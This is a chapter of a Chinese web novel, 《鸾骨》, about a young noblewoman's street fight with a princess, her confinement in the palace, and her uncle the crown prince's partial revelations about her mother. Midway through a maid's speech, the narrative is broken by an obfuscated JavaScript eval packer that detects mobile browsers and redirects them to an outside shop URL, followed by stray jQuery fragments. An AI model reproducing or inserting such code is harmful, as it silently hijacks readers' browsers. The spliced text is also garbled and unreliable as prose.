36. 新君
作品:《鸾骨》 上官梵将一拳刚放一拳又来,将她头上的珠钗环都打下一只。
“这两拳是报你侮辱我娘和我的仇。”
“你们还不拦着她!”翡安连连后退。侍女们哪能想到刚刚还苍白无力的少女还有这么大力气,在翡安挨了一拳之后才给反应过来,纷纷来拦。
“你是疯了吗?!”翡安怒声道。
上官梵将荷包中的弹丸丢出,砸向跑向马车的翡安,另一只手推开围上来的侍女们,哐当一声响起,翡安的贴身侍卫打落了两颗,还有一颗刚好砸向翡安的小腿。
即使隔着重重衣物,可翡安是个娇生的主,膝盖一下子就吃痛地弯了下去。
“我只知道今日仇今日报,你今日再三侮辱我娘和我还出言挑衅,我现在便要好好地报了这仇。”上官梵依依不饶步步紧逼,侍女们早已被她撇开。
“你都知道了事情的真相还要维护那个女人!”翡安捂着脸指挥道:“竟然敢这样对我,给我将她抓住!”
数名侍卫上前,这些人个个冷面如霜,比少女高了将近一尺,上官梵也是有些慌神,这么多人她是打不赢的,翡安的身影慢了下来,上官梵眼眸旋即闪过一丝亮光。
侍卫们很快围住了少女,翡安见状停止后退的动作,道:“看我待会怎么收拾你!”
上官梵看着俯身向下来抓的侍卫们,忙往荷包一探,最后两颗弹丸被拿出,“小心!”其中一名侍卫率先看到,阻止了要上前的其他人,但事出紧急,上官梵的弹丸已经掷出。
那名侍卫不得不拿出刀刃作挡,就这一下,尘烟四起,迷雾将这边完全笼罩了起来。上官梵凭借稍小一些的身形趁机从缝隙中滑出。
“怎么回事?”话音刚落,珠冠粉面的女子就被人从后牢牢抓住,“你怎么在这?”
烟雾也已经散开了,众人见到翡安被少女用手臂套住,踌躇上前。
“都别动!”上官梵高声道,大家纷纷停下手中的动作,不敢再进一步。
经过这一冷静,帷布后的声音也传入了此间众人的耳朵。
“里面怎么回事?”
“怎么好像有争吵的声音,又好像不是,是争吵?”
“嘘,别瞎说,这里面哪个人是你惹得起的?”
“你知道里面是谁呀?”
“不知道,但就算不知道也知道是惹不起的,看那气派……”
上官梵微微扬起唇角,“你今天找我来就为了说这事,我是该信还是不该信呢?”
翡安蹙眉,护着脖颈道:“真是讽刺,好容易做了回好人结果被人这样冤枉。”
“这些我自会去证实,现在,我要回去了。”上官梵眉毛也蹙了一分,将人带到路口,微微放松了手臂。
她正要离去,岂料刚转过身手腕就被人拽住,上官梵一个错力就被人扯回了一点,“你个野种!”女人的声音穿过她的耳膜,压制下来的怒火被击碎,激起千层浪。
上官梵咬紧下唇,怒视着翡安,经过刚刚那么一闹翡安的发饰也歪了,身上的衣服也皱了起来,在上官梵未有动作的时候,女人伸出手掌快速地朝上官梵扇来。
上官梵没有躲闪,好似愣住了一般,结结实实地挨了一个巴掌。
翡安眼中真有几分不可思议,片刻过后又恢复成方才的刁蛮,狠狠道:“贱人。”
上官梵在挨过巴掌之后,轻轻抬手抚了一下,食指刚触上,一股热辣的痛感翻滚而来,“嘶”。
“好,这下是你先出手的。”少女将手放下,低着头看不清情绪。
“嗯?”翡安不解。
少女将最外面的袖子掀起一截,突然,还站着的翡安就被推到了地上,女人头上的珠玉坠落到了地上,发出一声玉石掉落的声音。
上官梵一言不发,招式毫无章法,举起手来就往翡安身上打,翡安也不是个只挨揍的,也奋起身来,举起手来抓上官梵,“你个深山里长大地野丫头!”
“你个疯子!”
“你和你娘都是野种!”
少女的脸蛋都花了嘴里一直叫嚷着不准侮辱我娘,快道歉……
二人真得是实实在在地扭打到了一起,围在一旁的侍卫和侍女们想拉也拉不住,身上也不知挨了二人谁的一脚,待在一旁束手无措。
“明珠姑姑,这可怎么办呀?”
那名穿戴颇有讲究的侍女也焦急万分,就是宫里面也没见过贵人们这样打架呀!二人体统,礼仪都给抛掷脑后了,只想将对方狠狠打服。“去叫人。”
“不,不能叫人”明珠马上否决了。这可是翡安先找的,到时候追究,翡安也要挨一顿责罚。
“这是怎么回事?”一个男声突然响起。
“南安郡王?”
本在扭打中的上官梵听到突然的动静也抬头去看,摊位的帷布后的确有一个男子的身影,上官梵微微伸直身体想去看得更清楚,一条白色缎带突然映入眼帘,头戴抹额的少年人飞速掠过人群。
上官梵瞳孔一震,还没完全回头,翡安将头往前一撞,上官梵被撞得眼冒金星,于是她也拿头往下一撞。
“快,将二人分开。”上官玄知的声音传来。
上官梵没有心情再顾,二人依旧打得难舍难分,难分伯仲。来了数名侍女将二人围了起来。
太医院。
“嘶”少女痛得脸上五官都皱成了一坨。
“轻点,轻点。”上官玄知不忍道,侍女将手下的动作又放轻了一点,手中的药都要沾不上去了。
“你怎么与她打了起来?还伤得这么重。”
上官梵一言不发,刚刚的冲动过去,现在心里乱糟糟的,“你怎么不说话,难不成被打傻了?!刘太医,快看看!”
“不用看了!”少女脸上的疼还在发作,“翡安被打得更严重”上官梵的嘴角眼睛眯了眯,嘴角牵起了一点弧度,“嘶”
“你还挺开心的”上官玄知忍俊不禁道,“看你怎么和你大姑母解释。”
说到这少女的嘴角一下落了下来,“我不想回家。”
上官玄知奇怪地蹲了下来去看少女的脸色。
“你身上还有钱吗?给我点,我去客栈住。”上官梵道。
“就算犯了错也不能离家出走呀”
“你给不给么?”
“给给给”上官玄知又放缓语气道:“你真不愿说?”
上官梵摇了摇头,“有的事情需要自己去解决。”
上官玄知目露惊异地看着少女道:“还真是被打傻了。”
上官梵重重地打了一下上官玄知的肩,“上官玄知!”
来福客栈。
“我帮你付了一个月的房费,每日三餐也都帮你打好招呼了,要用的东西婢女一会送来。”上官玄知站在门外,手往袖口伸去,“还有这个”
青年手中出现一袋东西,“你的零用。”
上官梵犹豫道:“上官玄知谢谢你。”
“没听到?”
上官梵拉着青年的耳朵,大声道:“谢谢你!”
上官玄知揉了揉耳朵,“嘶……耳朵”
“算了算了,哪回闯祸没有我帮你收拾?”
“我没有经常闯祸的”本来愁容满面的少女牵起了嘴角,“我准备了个礼物给你,被我放在了府内,你记得去找小雪要。”
上官玄知疑惑地挑眉道:“你不回去了?还是等到你回府了自己拿给我吧。”
上官梵道:“等我弄清楚再回去。东西你自个去取,算是个祝福啦。”
“祝福?”上官玄知意外地挑了挑眉。
上官梵小声道:“我碰巧知道你有心上人了,这个是我从国安寺求来的,听说对姻缘特别有用。”
上官玄知怔了怔,眼眸重一丝不易察觉的情绪闪过,“你……”
“不用担心,我都懂,不会告诉别人的。”上官梵善解人意道,她也向内走了几步,准备关门了。
“……”上官玄知最终没说什么,将手放了下去,挑起最为常见的笑容,“行。”
“走啦,有什么事情来找我。”上官玄知要走的脚步又挪回来了一点,楼下几名侍卫正在上来。
“姝儿,你好像要被罚了。”
上官梵也走出了门,本来想冷静下来的思绪又被这一幕被搅乱了,“我也看见了,记得救我。”
“放心。”
秋宏殿。
上官梵将手中经书翻来覆去,看了又看,手中的笔却迟迟没有落下。
为什么是被关在宫里面啊?还就在她隔壁。上官梵刚想靠近殿外透口气,就被两旁侍卫拦了下来。
“县主,您还不能出去。”
“我就在这透口气。”上官梵老实地向外张望,隔壁一点声音都没有。
“翡安公主怎么样了?”上官梵问道。
侍卫警惕地看着上官梵,如实道:“公主在殿内修养。”
“她是受什么处罚?”
“公主在殿内修养。”
上官梵还是有些惊讶,重新迈回了桌案前。她属实没想到上官华能那么早回来。
也罢。
“我进去给福宁县主送衣物。”
“小满”上官梵一眼就看到了满脸焦急的圆脸侍女,蹙眉向她后面看去。
“小姐,这是公主给您准备的”小满将手中的包裹拿出,又将食盒打开,“这些是新做好的糕点,都还冒着热气,公主嘱咐要小姐趁热吃……”
“……公主没来吗?”
“公主她进不来,小姐你到底犯了什么事呀?”小满用力地摇了摇头。
上官梵:“跟人打了一架而已。”
“啊,小姐你的脸!”小满才好好打量上官梵,“疼不疼啊?”
“唉,另外一个更疼”上官梵将眼里的复杂掩藏,笑道:“整日被困在这里闷得慌,快跟我讲讲外面发什么了什么事情。”
小满吞吐道:“其实也没什么事情,除了您这件事情,不过您
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202706|197257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放心,除了南安郡……”
“唔”小满咽了一下,“也没什么人知道了。”
上官梵可疑地打量小满,“南安郡王怎么了?老实说。”
“小姐,你这个神情好可怕,我不知道啊……”
上官梵换了种方式问:“那么南安郡王有没有去过府上?”
小满用力地摇了摇头,又点了点头。
上官梵抓住小满的肩膀,严肃道:“快说,到底怎么回事?”
……
“什么!?他强霸良民?”
“这不可能!”
“小姐,这也都是些谣言。”小满放轻声音劝道。
“就因为这个谣言他就被关进大牢了?刑部都没有查吗?”上官梵焦急道。
小满用力地点了点头,“我要去救他!”
“小姐,你还在被关禁闭!”
还没等走出殿外,上官梵就被拦了下来。“县主,您还不能出去。”
“让开,我要去见国君!”
“您还不能出去。”
“那你去将国君请来!”
“国君不见任何人。”
“小姐,冷静啊”
连日来的苦闷在这一刻全部爆发,“让开!”既然不肯来,那索性大闹一场。
“你们先退下。”一名矜贵有余的男子不知何时出现到了这里。
“殿下。”
“退下吧。”上官煜拿出手中的鸟纹令牌,“我和福宁单独聊聊。”
“是。”侍卫退至数丈远,只在那里看着。
“你也先回去吧。”
“……是。”小满将东西摆好,“小姐,那我先走了,改日再过来给您送东西。”
殿内只剩下了两个人。
“怎么不抬头?”上官煜温声道。
上官梵:“……”她现在属实不知道怎么办,低着头不去看他,半晌后听到了走动的声音,轻笑一声,“怎么一个字也没有写呀”
没有疑问的语气,而是如往常那样就像平日在普通不过的对话,“福宁应该有很多疑问吧”
上官梵这才抬起了头,往日总是气定神闲的男子眼中眉头轻轻地跳了一下,“怎么伤得这么重?”
上官梵这下觉得有些好气好笑,怎么每个人都是这么说,长吁一口气,“舅舅不是在南边吗?怎么这么快回来了?”
“听人说了你的事情,赶了回来。”上官煜淡淡地说,“那边的事情刚好也都处理完了。”
上官梵心里还是埋怨道:“哪里有太子像舅舅这样,国君享乐,太子四处奔走?”她并没有将话说出口,“翡安说的是不是真的?”
上官煜怔愣了一下,福宁的责罚是因为与翡安当街打闹,不尊礼教。原来事情还有这样一层……“福宁从来不是冲动行事的,果然是因为这件事啊”上官煜将桌上的纸笔收好,“先吃点东西吧,还是热乎的。”
上官梵不语,她现在只想知道真相,身后的脚步声愈近,“有些事情我还不能告诉你,但是你可以问我。”
“不能告诉我,我问了又有什么用?”上官梵委屈道。
“可以告诉你的,你问了我都会告知。”上官煜道。
半晌,上官梵坐回桌案前,挑了个最容易得出答案的,“娘与父亲成婚有舅舅的谋划?”
上官煜点了点头,又道:“有我的参与,不过长姐与你父亲是真心相爱的。”
上官梵怔愣了半晌,“我的体质是母亲故意为之?”
上官煜道:“是,长姐有孕期间服用了特质毒药,你生下来才会是体弱多病的。”
“那为何还要救我?我死了不是更好?!”
“福宁!”上官煜罕见的大了些音量,上官梵也怔住了,“这并不是我们的本意,你来这个世上是我们都为之开心的事情。不要再说这种话了。”
“我早就有猜测过,原来是真的。”上官梵挺直身体,“可是你们为什么要那么做?真的是为了堵住所有人的嘴吗?”
“不是”上官煜神色有些疲惫,“具体缘由我现在不能说明,来日或许你能知晓。”
上官梵有些泄力了,“还有最后一个问题,舅舅和母亲是什么关系?”
“宗亲。”
“我要听具体的,母亲与舅舅是不是亲生姐弟?”
上官煜敛住神色,“这个我现在不能回答。”
“好,那舅舅的生母是不是一名民间女子。”
上官煜直言道:“没错,我的生母是一名普通的女子,名叫玉娘。”
“好,我知道了。舅舅可以回去了。”
上官煜没有动作,而是道:“福宁是你可以回去了,你的禁闭结束了。”
上官梵怔愣了两秒,腾地起身,向殿外面跑去。
“县主!”侍卫完全没反应过来,“太子殿下?”。
殿中的男子轻轻颔首,他并没有离开殿外,而是目送着,就像看着一棵茁壮成长的小树一样。

